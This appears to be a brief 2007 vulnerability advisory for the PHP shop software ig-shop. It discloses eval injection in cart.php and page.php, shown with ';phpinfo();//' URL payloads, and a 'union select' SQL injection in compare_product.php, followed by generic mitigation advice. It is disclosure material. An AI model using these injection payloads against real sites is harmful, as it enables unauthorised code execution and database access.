vendor:
ig-shop
by:
Michael Brooks
N/A
CVSS
MEDIUM
Eval and SQL Injection
20
CWE
Product Name: ig-shop
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Platforms Tested:
2007
ig-shop Eval and SQL Injection Vulnerabilities
ig-shop suffers from two eval's that can be controlled by an attacker. The eval statements can be exploited through the following URLs:- http://127.0.0.1/ig_shop/cart.php?action=;phpinfo();//- http://127.0.0.1/ig_shop/page.php?action=;phpinfo();//There is also an SQL injection vulnerability in the compare_product.php script, which can be exploited through the following URL:- http://127.0.0.1/ig_shop/compare_product.php?id=1%20union%20select%201The vendor's page is http://www.igeneric.co.uk/
Mitigation:
To mitigate these vulnerabilities, the vendor should ensure that user input is properly sanitized and validated before being used in eval statements or SQL queries. Additionally, the vendor should implement measures such as parameterized queries or prepared statements to prevent SQL injection attacks. It is also recommended to keep the software up-to-date with the latest patches and security updates.